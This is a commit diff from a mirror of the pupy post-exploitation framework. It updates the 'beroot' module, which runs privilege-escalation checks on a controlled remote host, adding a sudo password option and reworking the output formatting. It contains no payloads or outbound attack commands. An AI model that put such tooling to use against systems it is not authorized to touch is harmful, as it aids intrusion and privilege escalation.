mirror of https://github.com/n1nj4sec/pupy.git
compatible with new beroot version (check readme)
This commit is contained in:
parent
5b18491eef
commit
280bf91359
|
@ -14,7 +14,7 @@ class Beroot(PupyModule):
|
||||||
'beroot'
|
'beroot'
|
||||||
],
|
],
|
||||||
'windows': [
|
'windows': [
|
||||||
'pyexpat', 'xml', '_elementtree', 'xml.etree', 'impacket', 'impacket.examples', 'beroot'
|
'pyexpat', 'xml', '_elementtree', 'xml.etree', 'win32net', 'beroot'
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -32,71 +32,32 @@ class Beroot(PupyModule):
|
||||||
header += '|====================================================================|\n\n'
|
header += '|====================================================================|\n\n'
|
||||||
|
|
||||||
cls.arg_parser = PupyArgumentParser(prog="beroot", description=header + cls.__doc__)
|
cls.arg_parser = PupyArgumentParser(prog="beroot", description=header + cls.__doc__)
|
||||||
cls.arg_parser.add_argument("-c", "--cmd", action="store", default="whoami", help="Windows only: cmd to execute for the webclient check (default: whoami)")
|
cls.arg_parser.add_argument("-p", "--password", action="store", default=None, help="if no NOPASSWD in sudoers, "
|
||||||
|
"sudo -ll needs user "
|
||||||
|
"password (Linux only)")
|
||||||
|
|
||||||
def run(self, args):
|
def run(self, args):
|
||||||
|
|
||||||
run_beroot = self.client.remote('beroot.run', 'run')
|
run_beroot = self.client.remote('beroot.run', 'run')
|
||||||
if self.client.is_windows():
|
if self.client.is_windows():
|
||||||
results = run_beroot(args.cmd)
|
results = run_beroot()
|
||||||
|
if results:
|
||||||
for r in results:
|
for r in results:
|
||||||
self.windows_output(r)
|
self.windows_output(r)
|
||||||
else:
|
else:
|
||||||
results = run_beroot()
|
self.log('Nothing found.')
|
||||||
for r in results:
|
else:
|
||||||
self.linux_output(level=r[0], msg=r[1])
|
results = run_beroot(args.password, to_print=False)
|
||||||
|
self.log(results)
|
||||||
|
|
||||||
def windows_output(self, output):
|
def windows_output(self, output):
|
||||||
to_print = True
|
st = '\n################ {category} ################\n'.format(category=output['category'])
|
||||||
if 'NotPrint' in output:
|
if output.get('error'):
|
||||||
to_print = False
|
st += output.get('error')
|
||||||
|
else:
|
||||||
st = '\n-------------- %s --------------\n' % output['Category']
|
for desc, result in output.get('results'):
|
||||||
if 'list' in str(type(output['All'])):
|
if result:
|
||||||
for results in output['All']:
|
st += '\n# %s\n' % desc
|
||||||
st += '\n[!] %s\n' % results['Function'].capitalize()
|
|
||||||
|
|
||||||
results = results['Results']
|
|
||||||
|
|
||||||
# return only one result (True or False)
|
|
||||||
if 'bool' in str(type(results)):
|
|
||||||
st += '%s\n' % str(results)
|
|
||||||
|
|
||||||
elif 'dict' in str(type(results)):
|
|
||||||
for result in results:
|
|
||||||
if 'list' in str(type(results[result])):
|
|
||||||
st += '%s\n' % str(result)
|
|
||||||
for w in results[result]:
|
|
||||||
st += '\t- %s\n' % w
|
|
||||||
st += '\n'
|
|
||||||
|
|
||||||
elif 'list' in str(type(results)):
|
|
||||||
for result in results:
|
|
||||||
if 'str' in str(type(result)):
|
|
||||||
st += '%s\n' % result
|
st += '%s\n' % result
|
||||||
else:
|
|
||||||
for r in sorted(result, key=result.get, reverse=True):
|
|
||||||
if 'list' in str(type(result[r])):
|
|
||||||
st += '%s:\n' % r
|
|
||||||
for w in result[r]:
|
|
||||||
st += '\t- %s\n' % w
|
|
||||||
else:
|
|
||||||
st += '%s: %s\n' % (r, str(result[r]))
|
|
||||||
st += '\n'
|
|
||||||
elif 'str' in str(type(output['All'])):
|
|
||||||
st += output['All']
|
|
||||||
|
|
||||||
if to_print:
|
|
||||||
self.log(st)
|
self.log(st)
|
||||||
|
|
||||||
def linux_output(self, level='', msg=''):
|
|
||||||
if level == 'ok':
|
|
||||||
self.success(msg)
|
|
||||||
elif level == 'error':
|
|
||||||
self.error(msg)
|
|
||||||
elif level == 'info':
|
|
||||||
self.log('[!] {msg}'.format(msg=msg))
|
|
||||||
elif level == 'debug':
|
|
||||||
self.log('[?] {msg}'.format(msg=msg))
|
|
||||||
else:
|
|
||||||
self.log(msg)
|
|
||||||
|
|
Loading…
Reference in New Issue